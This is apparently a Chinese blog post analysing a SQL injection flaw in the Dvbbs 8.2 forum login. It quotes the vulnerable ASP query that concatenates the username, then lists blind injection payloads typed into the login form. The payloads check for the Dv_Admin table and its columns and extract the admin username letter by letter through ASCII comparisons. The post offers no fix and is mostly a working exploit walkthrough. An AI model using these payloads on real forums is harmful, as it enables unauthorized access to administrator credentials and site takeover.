Dvbbs 8.2 login_sql注入漏洞探析

挺无聊的,分析下”洞网/”,环境架好后.找到有问题的语句:

       End If

       Else

              username=trim(Dvbbs.CheckStr(request("username")))

              If ajaxPro Then username = unescape(username)

       End If

变量username带入到查询语句如下:

       If ChkUserLogin(username,password,mobile,usercookies,1)=false Then

              Set chrs=Dvbbs.Execute("select Passport,IsChallenge from [Dv_User] where username='"&username&"' and IsChallenge=1")

              If chrs.eof and chrs.bof Then

                     If Not ajaxPro Then

                            Dvbbs.AddErrCode(12)

                     Else

                            strString("本论坛不存在该用户名.@@@@0")'o

                     End If

                     Exit Function

              End If

              set chrs=nothing

       End If

可以看到关键的语句就是这个了:

select Passport,IsChallenge from [Dv_User] where username='"&username&"' and IsChallenge=1

来构造语句:

where' and (select count(*) from Dv_Admin)>0 and '1'='1 //判断是否存在表名Dv_Admin

此语句在查询时,就会变成:

select Passport,IsChallenge from [Dv_User] where username=’ where' and (select count(*) from Dv_Admin)>0 and '1'='1 and IsChallenge=1

先来测试一下这个语句:

先注册一用户where

在文件logins.asp用户名里填入:

where' and (select count(*) from Dv_Admin)>0 and '1'='1

在密码处填入正确密码.

点登录,如果登录正常,说明,存在表单Dv_admin,

反之,如果出错提示,证明无此表单.

依此类推,构造语句:

where' and(select count(username) from Dv_admin)>0 and '1'='1

//判断是否存在列名username

where' and(select count(password) from Dv_admin)>0 and '1'='1

//判断是否存在列名password

where' and(select top 1 len(username) from dv_admin)>10 and '1'='1

where' and(select top 1 len(username) from dv_admin)<5 and '1'='1

where' and(select top 1 len(username) from dv_admin)=5 and '1'='1

//判断username列表值长度是否大于10,小于5,等于5

where' and (select top 1 asc(mid(username,1,1)) from dv_admin)>100 and 1=1 and '1'='1

where' and (select top 1 asc(mid(username,1,1)) from dv_admin)<97 and 1=1 and '1'='1

where' and (select top 1 asc(mid(username,1,1)) from dv_admin)=97 and 1=1 and '1'='1

//判断username列表的第一位字母的ASCII码值是否大于100,小于97,等于97

where' and (select top 1 asc(mid(username,2,1)) from dv_admin)>100 and 1=1 and '1'='1

where' and (select top 1 asc(mid(username,2,1)) from dv_admin)<97 and 1=1 and '1'='1

where' and (select top 1 asc(mid(username,2,1)) from dv_admin)=97 and 1=1 and '1'='1

//判断username列表的第二位字母的ASCII码值是否大于100,小于97,等于97

…….类推…

<script type=text/javascript> document.write('| 登录'); </script>